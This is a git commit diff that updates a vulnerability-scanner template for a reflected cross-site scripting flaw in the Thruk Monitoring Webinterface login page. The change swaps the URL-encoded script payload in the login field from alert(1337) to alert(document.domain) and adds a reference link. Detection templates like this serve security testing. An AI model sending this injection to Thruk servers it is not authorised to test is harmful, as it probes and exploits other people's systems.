Update thruk-xss.yaml

patch-1
Prince Chaddha 2021-12-09 21:58:15 +05:30 committed by GitHub
parent 9da0d768a1
commit f476c5ff5b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 3 deletions

View File

@ -4,6 +4,7 @@ info:
name: Thruk Monitoring Webinterface - XSS
author: pikpikcu
severity: medium
reference: https://www.thruk.org/download.html
tags: xss,thruk
requests:
@ -14,7 +15,7 @@ requests:
Content-Type: application/x-www-form-urlencoded
Referer: {{Hostname}}/thruk/cgi-bin/login.cgi?thruk
referer=%2Fthruk&login=--%3E%3C%2Fscript%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&password=Thruk+Monitoring+Webinterface
referer=%2Fthruk&login=--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&password=Thruk+Monitoring+Webinterface
matchers-condition: and
matchers:
@ -25,9 +26,9 @@ requests:
- type: word
part: body
words:
- "<script>alert(1337)</script>"
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
- "text/html"